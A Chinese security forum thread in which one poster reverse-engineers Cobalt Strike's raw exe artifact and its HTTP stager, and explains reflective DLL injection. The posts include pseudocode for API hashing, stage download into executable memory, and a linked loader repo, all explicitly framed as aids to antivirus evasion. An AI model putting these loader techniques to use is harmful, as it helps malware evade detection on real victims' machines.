社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 5242阅读
  • 4回复

[分享]Cobalt Strike剖析及免杀系列(一)cs原始壳分析

楼层直达
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8

今儿砸门就随便搞点cs的artifact马的壳逆向玩玩吧首先打开cs生成一个原始exe马生成完马在虚拟机里od打开做下动态分析中途win10的吾爱破解机子更新坏了我又重新配了个win7的破解机子,不过无伤大雅。打开文件进入入口点打开文件后先不要着急分析,首先看下这个pe文件的整体结构和各地址段位置,对于病毒木马的逆向分析着重关注exe的输入表信息,还有异常段信息,还有数据段位置。首先看到位置信息知道代码没做重定向处理,一般exe的位置都会在00400000加载,如果加载位置不是这个,那么看pe头中对应的加载基址基址的位置在pe头的image_option_header中的imagebase可以看图中信息也可以在pe文件中按偏移一点一点找,也可以使用windbg的内存查看指令看,不做过多的解释了。继续这个重定向话题往下聊,如果看到基址偏移与文件的pe头信息不匹配那么病毒木马就一定会修改重定位表信息,所以需要提前打个预防针,如果看到基址信息不是平常熟悉的00400000就得注意重定位段reloc中的基址偏移信息,并且自己在写马的时候也需要注意一些pe文件上的细节,在编译完成后重新修改pe机器码的前提下,如果重定向的话没有修改重定向表可能也会导致之前被编译的pe文件运行失败,这也是维护程序的健壮性的一些细节,希望能注意。从大局往里面看,再看有没有异常的段,就是些自定义的段,并且看下有没有使用rwx三种权限或者rx权限,反正着重看下有没有执行权限,不过基本一些比较好的壳不太会把马的位置这么快就暴露。就是看下访问这里,并且在动态是也着重关注每一步执行的访问权限变化。然后再看每个段信息,包括地址与段含义,着重输入表。再就是一些dll,和调用函数信息,静态文件就可以查看,使用ida也可以看比较清晰的结构,不过可能不是真正的所有调用函数,看经验的判断吧导入表的int信息也是在pe头查看,看静态的调用信息主要还是给自己打个预防针,看下pe文件的总体结构,像cs的原生exe马中connectnamedpipe等一些函数都暴露了出来,还是挺容易被看出来的这些命名管道的通信在cs源码中也会体现,这篇文章中也是单独对exe马进行分析利弊,所以源码也是提一嘴关于cs源码这里不做过多赘述关于逆向我们大可不必直接对着汇编看,我的习惯是先在ida里反编译一下,了解下整个文件的逻辑结构,然后再进入到od汇编调试,而且这种exe马绝大多数的shellcode做了加密,需要动态中解密。了解了文件的整体属性后,我们进入ida进入反编译(新款的ida7.7免费版仅带有64位反编译,今天我们使用的是32位)首先进入到ida找到main函数的位置入口点做一些c运行库初始化操作,这里不再赘述找到main函数位置后在od中对main函数做断点处理,od中初始断点不一定停在入口点和main函数中像这个exe马是直接停在了tls回调函数中至于什么函数的判断在ida反编译中查看直接进入main函数中对于软件的逆向分析我比较喜欢先使用ida做下逻辑梳理,然后需要啥动态信息就到od中去打断点、找位置、看信息。首先看到main函数中第一个执行函数首先前两个for循环做了一个执行函数指针的操作进入函数指针的位置查看sub40210发现是一个dll的一段操作,先放下不看进入到第二个函数中继续跟进发现了dllonexit和onexit等系统api,对于进程退出注册函数,可以判断再main函数中的第一个函数还是做了对进程各个属性的更新操作接下来返回到main函数,再次进入到第二个函数首先一个获取执行时间的gettickcount可以不用管,后面往全局变量buffer中输入标识,这个用作与cs服务端通信使用,先不用管看到一个线程函数,还有下面一个函数,再次进入线程函数发现了一个全局变量地址和一个size,我们可以先查看全局变量内容,也可以直接进入函数中先看下,我这边是直接进入到数据段查看内容往下还有很长的一段数据没有截图,可以看到一段非常长的8位数据数组,这个可以做下初步推断为shellcode,也就是壳里封装的马,但是不确定,先返回到函数中跟进。可以看到是一段命名管道操作,往里面写入shellcode,因为线程的缘故所以推断下面会有一个函数接收管道中的数据,还是先返回看线程函数后面的一个函数内容一段sleep函数可以确定这个函数与线程函数是对应的输入输出操作进入while的第一个函数可以看到是往函数的第一个参数读取管道操作经过前面看,这个第一个参数是申请的一段内存空间接下来进入while后面的第二个函数典型的解密操作,这下就可以正式判断前面往命名管道中写入的就是加密后的shellcode,然后再主线程中读取并解密后又来一个线程执行startaddress。总体文件逻辑看完这边直接步入调试,我们的目的是为了找到解密完的数据,可以直接在解密函数执行完设断点,这里为了方便我直接把文件执行完,然后进入到动态申请的内存地址查看首先先找到申请的地址空间位置找到v3这个变量的内容找到4015b5位置,并找到v3这段virtualalloc就是申请的位置,然后返回在eax寄存器中的内容就是动态申请到的内存地址,我们到od中在4015b5打下断点可以看到返回在eax中的位置为00020000继续执行完整个进程做完解密操作,再在反汇编窗口跳转到shellcode位置这下可以看到完整的shellcode了这里是cs生成的payload可以查看与od中的重合了,这就是对于这种比较简单的payload壳整个解密过程。这里对于stager的分析就下次再进行分享吧,今天就先分析原生的cs exe马。


image.png (252.86 KB, 下载次数: 0)


image.png (161.25 KB, 下载次数: 0)

我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
836265
飞翔币
228732
威望
224673
飞扬币
2460822
信誉值
0

只看该作者 1 发表于: 2022-04-03
来看一下
级别: 超级版主
发帖
836265
飞翔币
228732
威望
224673
飞扬币
2460822
信誉值
0

只看该作者 2 发表于: 2022-04-03
不错,了解了
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8

只看该作者 3 发表于: 2022-04-04


前言


关于免杀与rootkit技术大家应该不会陌生,在红蓝对抗的时候有一款能够免杀绝大多数杀软的壳也能让我们的钓鱼事半功倍,今天就来聊聊关于免杀和用户级rootkit开发过程中比较重要的一门技术,ReflectiveDLLInjection反射型dll注入。

简介


随着杀软的发展,特征库的不断填充,对于各种特征检测越来越完善,对于文件中导入表的危险函数更是查了又查,一些像loadlibrary、getprocaddress等动态加载dll的危险函数很容易触发杀软的危险警报,但是又因为传输过程效率和杀软对于exe文件扫描过程的限制我们的木马尽量需要做到短小,所以网络传输无文件落地的dll注入比较受欢迎,并且也是各种远控马经常使用的技术。

开始


我们首先不要去管什么反射型dll注入还是什么注入,就单纯的从dll注入最原始的目的开始往下进行,dll注入首先是把dll注入到其他安全进程中去,目的也是为了隐藏进程与行为,最普通的dll注入是直接loadlibrary然后将此函数返回值的句柄传递到CreateRemoteThread()等远程注入相关函数,但这个句柄值是内核维持的句柄表,但事实并不是这样,句柄在内存中也是一个32位/64位的数据,只不过方便使用被定义成了句柄,而句柄又分为各种窗口句柄,文件句柄等,但是不是每个32位的数据都是索引值,我们需要根据函数返回值来确定。
不妨我们做个实验




首先写一个简单的验证dll
然后再写一个装有loadlibrary函数并且显示返回值的test




生成dll并放入到生成的release文件夹下


把此文件夹放入到装有od的虚拟机中,当然使用windbg调试也可以,我个人比较喜欢使用od图形化界面


都做完以后使用od打开生成的test然后运行


比对之后发现返回值也就是dll加载的基址,所以我们内存dll加载后再注入到其他进程的预测也就成立
接下来我们只需要写一个自己的dll文件加载器(loadlibrary)和一个函数调用器(getprocaddress)就可以完成整个反射型dll注入工作。

手写ReflectiveDLLInjection


这里我们手写两个主要函数用于完成相应的功能,两个函数是loadlibrary和getprocaddress,两个动态dll加载函数,只不过这两个系统dll函数是硬盘dll库文件加载,我们需要写两个内存dll库加载。
自己写的这个函数第一是可以自定义功能与实现,第二的话自己写的dll可以在源码改函数名,对于导出表与目标壳程序的导入表隐藏有很好的效果。
先说下对于第一个函数loadlibrary,这个函数所要完成的工作是 复制代码 隐藏代码    1.根据pe头数据进行数据的转移,并重置各区段的大小与内存页大小对齐。    2.根据重定位表数据对pe文件中的对应地址数据进行重定位。
再说下第二个函数getprocaddress,这个函数需要实现的功能就只是简单的根据导出表内容找到对应函数地址,并返回一个函数指针供上层程序调用
这里制作相应dll的细节我就不多说了,只是点一下需要注意的问题: 复制代码 隐藏代码    1.x86cpu架构的大端内存读取处理,所有相应的地址及数据处理在x86的架构上都是大端低地址,低端高地址,所以对应数据处理cpu会自动进行,我们所要重写的是操作系统函数,所以不需要对数据进行过多处理


像这种大家应该都清楚这一行的最后32位是段偏移,也就是00 10 00 00 但其实这个数用十六进制表示应该是 0x00001000,所以在数据的存取时应注意。
这里也是用一个小实验验证此说法的正确性 复制代码 隐藏代码#include <iostream>#include<windows.h>int main(){    printf("=======================n");    printf("天河GalaXYn");    printf("=======================n");    int num = 10;    BYTE* a = (BYTE*)malloc(4);//分配所需的内存空间,并返回一个指向它的指针(Void*类型)    void* b = a;    *a = 0x00;    a++;    *a = 0x10;    a++;    *a = 0x00;    a++;    *a = 0x00;    int* o = (int*)b;    printf("%x", *o);}
这里首先向内存中存入单个字节数据,顺序为 00 10 00 00,然后输出这个四个字节强转int类型的数据
结果如下


输出0x1000,证明说法正确。 复制代码 隐藏代码    2.注意地址内容与地址互相之间的关系,有时候会容易把地址内容强转地址之间犯错,并且这种错误只会报读取或写入错误,不大容易看。    3.对于修改代码段内存页保护的操作需要在重定向处理完后进行。
对于函数的编写过程中c语言的一些细节不再赘述。

调试过程


首先手写一个test dll


生成dll


010editor打开dll并复制全部16进制数据


复制完成后在notepad++中加工


加工成c语言识别的字节类型,然后合并行,复制进入vs中


在c中导入库里面的这两个函数




在c中调用函数


函数名对于vs的dll会自动加_和在尾部添加@8需要注意调用函数名。


输出结果如下


函数调用成功。
接下来结合前面的dll验证,向远程调用系统dll中放入dll地址就可以,并且后面的一些函数hook也是同理的传入地址,对于传入地址的所有操作都可以使用,不在赘述。
我把这个dll及其源码传到了github上,有需要的小伙伴可以自取
https://github.com/bestspear/GalaXY-ReflectiveDLLInjection
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8

只看该作者 4 发表于: 2022-04-06
[font=-apple-system, BlinkMacSystemFont, &quot]背景[font=-apple-system, BlinkMacSystemFont, &quot]        之前想找点文章看看stager的运行结构做做stager的免杀,奈何各大论坛还有搜索引擎都没有具体的运行详解,只有一些壳的ida直接反编译逆向过程,对于动态到程序中的stager逆向还没有具体的反编译程序,所以出篇文章具体说一下。[font=-apple-system, BlinkMacSystemFont, &quot]Tips[font=-apple-system, BlinkMacSystemFont, &quot]        下面的分析是针对汇编的分析,如果看起来嫌麻烦可以直接看最后面写的伪代码,二者程序结构相同,手工写源码免杀可以直接用这两个汇编或伪代码逻辑。[font=-apple-system, BlinkMacSystemFont, &quot]分析[font=-apple-system, BlinkMacSystemFont, &quot]分析是按照顺序结构从代码开始到代码结束按步分析,前面可能会出现一些后面的代码但是还没有分析到,可以跳过理解到下面说到了再回头看。[font=-apple-system, BlinkMacSystemFont, &quot]这里涉及到了寻找函数的代码,为了方便文章内容的制作,我们就暂且称它为findfunc_andexp,这个东西不用急,先知道有这么个函数就行,下面到了调用它的时候再去仔细说。[font=-apple-system, BlinkMacSystemFont, &quot]对于payload为了对抗杀软的启发式扫描,所以汇编上会对代码逻辑做混淆操作,在ida中的动态反编译也不是很精确,所以这次就就着上一次发的再往下做做分析。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第一步清空标志寄存器df位并做函数跳转,清空的操作是为了恢复上个函数可能会遗留的条件判断。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]跳到…8f弹出之前call保存的返回地址,并入栈这三个立即数与一个寄存器值。[font=-apple-system, BlinkMacSystemFont, &quot]先看这几个立即数,最上面的两个立即数组成了一个String的字符串,存储的是wininet这个函数名,后面的0x726774c是某函数名字符串进行特定编码后的结果,用作后来loadlibrary调用的参数处理[font=-apple-system, BlinkMacSystemFont, &quot]在20001处call调用2008f,进入到findfunc_andexp函数的操作中,这里我们先等下分析这边的代码,从2008f往后面的代码都是在调findfunc_andexp的代码[font=-apple-system, BlinkMacSystemFont, &quot](这些是根据后面的第二个循环结构得到的分析结果,刚看可能会有点懵,建议先往下看,后面提示再到前面来找这段!!)[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这是之前静态的代码,可以看到没有给startaddress传递除了payload地址之外的任何参数。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]并且startAddress函数也只使用了自身地址这一个参数。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]前面弹出返回地址栈到ebp,这里是直接又call ebp相当于retn了,[font=-apple-system, BlinkMacSystemFont, &quot]堆栈平衡操作[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]返回到20006首先将全部32位寄存器压栈,这里我们是32位的程序,所以就是把全部寄存器压栈处理。[font=-apple-system, BlinkMacSystemFont, &quot]Mov ebp,esp做刷新栈区现在的栈内为空。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]首先xor清空edx,再对edx做赋值[font=-apple-system, BlinkMacSystemFont, &quot]首先从fs寄存器偏移30h的地址上的值赋给edx(fs段寄存器存储程序的环境数据)[font=-apple-system, BlinkMacSystemFont, &quot]这里给出fs结构数据::[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]上面汇编中下一步继续偏移c位找到ldr指针实际上是一个指向系统调用dll的链表指针。[font=-apple-system, BlinkMacSystemFont, &quot]这里直接用windbg dt查看ntdll的数据结构就ok[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]然后再在ldr的基础上再偏移14h到InMemoryOrderModuleList列表[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]_LIST_ENTRY第一位就是指向LDR_DATA_TABLE_ENTRY的地址[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]从20009到20015这几行代码就是找到对应这个进程的进程名并传入到esi寄存器中[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]再往下加载edx偏移26h的数据存到ecx中,由下面代码逻辑可以判断ecx中的数据是存储在esi中数据的大小。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]继续往下重置eax与edi[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]接下来通过lods byte向al输入一个字节的数据,并且esi地址向后偏移一个字节[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]上面这段红色部分是一个循环,大概的代码逻辑就是[font=-apple-system, BlinkMacSystemFont, &quot]For(ecx=lenth(*(void*)esi);ecx>0;ecx--){[font=-apple-system, BlinkMacSystemFont, &quot]        Al = [esi];[font=-apple-system, BlinkMacSystemFont, &quot]        Esi++;[font=-apple-system, BlinkMacSystemFont, &quot]        If(al<’a’){[font=-apple-system, BlinkMacSystemFont, &quot]}else{[font=-apple-system, BlinkMacSystemFont, &quot]        Al=al-0x20;[font=-apple-system, BlinkMacSystemFont, &quot]}[font=-apple-system, BlinkMacSystemFont, &quot]        Edi=edi>>13;[font=-apple-system, BlinkMacSystemFont, &quot]Edi=edi+al;[font=-apple-system, BlinkMacSystemFont, &quot]}[font=-apple-system, BlinkMacSystemFont, &quot]此段代码的目的是对这个程序名的一个加密算法,作用是为了后面与提供函数名编码做对比这样就避免了直接字符串对比,也算是一种加密方式吧[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]保存InMemoryOrderModuleList与加密结果到堆栈,从20030到2003b是获取整个壳进程的导出表的rva值并判断是否为空。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里我用的是cs生成的原生壳,非dll没有导出表很正常[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]紧接上面的内容,将之前存入栈中的edi与edx取出,并且edx重新赋值为下一个模块的InMemoryOrderModuleList,并且重复20015行往下的对模块进程名的字符做编码处理,并判断有无导出表[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]重复的内容可以查看上面的这一部分往下。[font=-apple-system, BlinkMacSystemFont, &quot]然后这里重新找到了ntdll模块并且获取到了dll导出表地址[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里看到edx与eax分别赋予模块基址,pe头va[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]获取导出表va入栈,获取导出表面向模块的导出函数总数存入ecx,获取导出名称表ent偏移地址到ebx中[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]获取导出名称表的虚拟地址到ebx中[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]继续上面的分析,这个截图是第二个循环结构,也是利用到了上面提到的三个立即数,这里可以到上面查看当时提前给出的解析。[font=-apple-system, BlinkMacSystemFont, &quot]首先是做了两个循环,第一层大循环用来循环模块内的函数名,第二层循环是为了将整个函数名做编码处理,待做完编码处理与函数提供的编码数据做对比

[C] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
For(ecx=ntdll模块函数数量;ecx>0;ecx--){        While(al!=0){                Al=*(VOID*)esi;        Edi>>13;        Edi=edi+al;}If((模块名编码+函数名编码)==需要的函数编码){        Jmp 20068;//也就是继续往下执行}        Jmp 20088;}[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里我在跳转的下面打了一个断点,然后等待执行完编码确定的函数时loadlibraryexa[font=-apple-system, BlinkMacSystemFont, &quot]这里的断点有时候打了会没有反应,如果遇到这种情况可以重新启动一遍od再在需要的地方打断点,这个bug还是很容易触发的,我用的是吾爱破解[font=-apple-system, BlinkMacSystemFont, &quot]的魔改od不知道是不是这个的问题。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]做逆向的时候由于栈存的数据有点乱所以还是建议新手最好做下关键寄存器和栈数据的记录[font=-apple-system, BlinkMacSystemFont, &quot]这里重新赋值eaxntdll导出表地址,重新偏移24h个字节找到导出序号表,这里就是经典的导出序号表找到导出函数序号,找到序号后根据序号索引找到函数基址,与dll加载时导入表重载相同,算是动态执行函数但是没有dll反射注入过程。[font=-apple-system, BlinkMacSystemFont, &quot]这里如果想要进一步看dll加载与调用过程可以看我的另外一篇文章,里面说的很详细也在github上给出了源码:[font=-apple-system, BlinkMacSystemFont, &quot]https://mp.weixin.qq.com/s/FRi66i6agJN0WzlhJUfQow[font=-apple-system, BlinkMacSystemFont, &quot]公众号喜欢的朋友可以关注下,感谢!!!![font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]下面的就是找导出序号表中的对应序号[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]下面这个就是找到导出地址表,并且指针四字节×序号加上模块基址就是eat的va了,下面的代码来覆盖之前栈中编码过的立即数数据[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]继续[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这是一系列弹栈操作,前两个弹栈没用,这里是一直恢复到之前清空栈区的操作。[font=-apple-system, BlinkMacSystemFont, &quot]到这里一个函数算是调用完毕,也就是说这一部分分析了这么多,其实就是在ntdll中找到loadlibraryexa函数地址。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]继续弹栈的下面,这里入栈ecx跳转eax[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]Ecx是返回地址eax是loadlibrary地址,之前入栈的三个立即数有一个是编码的函数名,另外两个是字符串,这里栈区中调用loadlibrary函数回到开始的立即数位置也就是调用loadlibrary(wininet)动态加载这个dll模块,并相当于call调用入栈一个retn地址[font=-apple-system, BlinkMacSystemFont, &quot]继续往下进入到ntdll中执行加载dll操作,这里我们打断点到返回[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]查看内存分布,wininet和一些ws_32网络模块已经加载到内存中了[font=-apple-system, BlinkMacSystemFont, &quot]下面是一段花指令混淆操作[font=-apple-system, BlinkMacSystemFont, &quot]现在结合堆栈再来重新分析一下之前的结构[font=-apple-system, BlinkMacSystemFont, &quot](这里重新弄了下od,之前用的吾爱破解[font=-apple-system, BlinkMacSystemFont, &quot]的od有点bug,如果想做动态逆向还是推荐下原版od比较好,吾爱的打断点一直不跳就很烦)[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]入栈wininet字符串,入栈esp,入栈编码后的函数名[font=-apple-system, BlinkMacSystemFont, &quot]Esp这个地址就是wininet的首地址,在32位高级语言中的String类型其实就是一个四字节的char指针指向首地址,那这个就是findfunc_andexp后函数要执行的参数,为什么这么说,看findfunc_andexp中的代码[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]弹栈ecx和edx,入栈ecx跳转eax[font=-apple-system, BlinkMacSystemFont, &quot]此时的eax存储的是findfunc_andexp中查找到的函数地址,弹出两个栈,因为之前的call会自动入栈一个返回地址,所以栈中结构就是[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]两次弹栈再入栈正好就是执行find后的函数,并且返回地址也是之前说的从开头2008f向下顺序执行依次调用并执行被find的函数的操作[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]函数整体结构::[font=-apple-system, BlinkMacSystemFont, &quot]Void Findfunc_andexp(DWORD 编码函数名数据,DWORD 参数,……){……}[font=-apple-system, BlinkMacSystemFont, &quot]Findfunc_andexp();[font=-apple-system, BlinkMacSystemFont, &quot]Findfunc_andexp();[font=-apple-system, BlinkMacSystemFont, &quot]Findfunc_andexp();[font=-apple-system, BlinkMacSystemFont, &quot]……[font=-apple-system, BlinkMacSystemFont, &quot]这里的Ebp存储了findfunc_andexp函数地址所以现在我们只要在后面每个call ebp向后一个语句处打断点就能找到调用的函数顺序[font=-apple-system, BlinkMacSystemFont, &quot]第一次调用是loadlibrary加载网络模块[font=-apple-system, BlinkMacSystemFont, &quot]第二次调用在网络模块中的internetopenurla[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]下面是参数[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第三次调用internetconnect,参数在栈中栈顶去除返回[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]具体参数作用可以查看msdn官方文档[font=-apple-system, BlinkMacSystemFont, &quot]这里就先举个栗子,后面的就不举了:[font=-apple-system, BlinkMacSystemFont, &quot]HINTERNET InternetConnectA([font=-apple-system, BlinkMacSystemFont, &quot]  [in] HINTERNET     hInternet,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] LPCSTR        lpszServerName,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] INTERNET_PORT nServerPort,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] LPCSTR        lpszUserName,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] LPCSTR        lpszPassword,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] DWORD         dwService,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] DWORD         dwFlags,[font=-apple-system, BlinkMacSystemFont, &quot]  [in] DWORD_PTR     dwContext[font=-apple-system, BlinkMacSystemFont, &quot]);[font=-apple-system, BlinkMacSystemFont, &quot]第四次调用httpopenrequesta[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里的参数带一个/YTFi,如果不知道的同学可以自己分析下cs源码,这里是随机生成四个字符是url的path请求路径,这里就是后面stage的具体dll,里面一百多个case用来执行具体的控制操作[font=-apple-system, BlinkMacSystemFont, &quot]第五次调用internetsetoptiona[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第六次调用HttpSendRequestA[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第七次调用user32.GetDesktopWindow[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第八次调用wininet.InternetErrorDlg[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第九次调用kernel32.virtualAlloc[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]第十次调用wininet.InternetReadFile[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里是循环调用每次请求2000字节数据写入到virtualalloc申请的内存中这里注意virtualalloc申请的内存地址,[font=-apple-system, BlinkMacSystemFont, &quot]循环调用读取后开启新线程执行virtualalloc地址上的pe文件[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这段就是前置stager拉动的stage[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]上线[font=-apple-system, BlinkMacSystemFont, &quot]   [font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里晚截图了几分钟[font=-apple-system, BlinkMacSystemFont, &quot]值得注意的是这里stager拉动的stage也是被加密的数据,经过stager解密才能使用[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]这里通过弹栈的方式继承上一个函数的参数retn跳转到加密stage中[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]从这个stage的开头执行,这里的开头是一段解密代码,用于对下面stagepe的解密并启动新线程。[font=-apple-system, BlinkMacSystemFont, &quot]这里再此打开ida对前面几行代码做静态也可以直接反编译到c,不过可能有一些错误,我也没仔细看,等下一次仔细说说这个问题。[font=-apple-system, BlinkMacSystemFont, &quot][font=-apple-system, BlinkMacSystemFont, &quot]到这stage内容就分析完毕了,这次篇幅有点多了,剩下的stage就下次再找时间写篇文章分析下吧。[font=-apple-system, BlinkMacSystemFont, &quot]伪代码结构

[C] 纯文本查看 复制代码

?[tr=none]
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Void Findfunc_andexp(dword bianma, dword canshu, ……){For(ecx=ntdll模块函数数量;ecx>0;ecx--){                While(al!=0){                        Al=*(VOID*)esi;                Edi>>13;                Edi=edi+al;}If((模块名编码+函数名编码)==需要的函数编码){/*这个函数是在pe的导出表中找到导出序号表,导出序号表再找导出地址表再找到地址*/Eax=Findfuncaddress();                Pop 编码;Jmp eax;//也就是继续往下执行//如果一函数形式是:Exp(dword canshu, ……);}                Jmp 20088;}//这段是找到函数并执行         }Void main(……){        Findfunc_andexp(“loadlibrarya的编码”,“wininet”);        Handle_net1= Findfunc_andexp(“internetopenurla”,0,0,0,0,0);        Handle_net2=Findfunc_andexp(“internetconnecta”,Handle_net1,20331h,1c1h,0h,0,3,0,0);//这个参数是上一次系统调用打开的handle表Handle_net3=Findfunc_andexp(“httpopenrequesta”,Handle_net2,0,”/XXXX”,0,0,0,84c03200h)//这些handle都是系统调用产生的文件句柄        Findfunc_andexp(“internetsetoptiona”, Handle_net3,1fh,7dff78h,4);Findfunc_andexp(“HttpSendRequestA”, Handle_net3, ”user-agent:xxxx”, ffffffffh,0,0);HWND = Findfunc_andexp(“user32.GetDesktopWindow” );//这个返回窗口句柄Findfunc_andexp(“InternetErrorDlg”,10010h, Handle_net3,7efd8800h,7,0);Startaddress = Findfunc_andexp(“virtualalloc”,0,400000h,1000h,40h);While(){        Findfunc_andexp(“internetreadfile”, Handle_net3,startaddress,2000h,7dff74h)}Void (void*)(*startaddress)(void);}
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。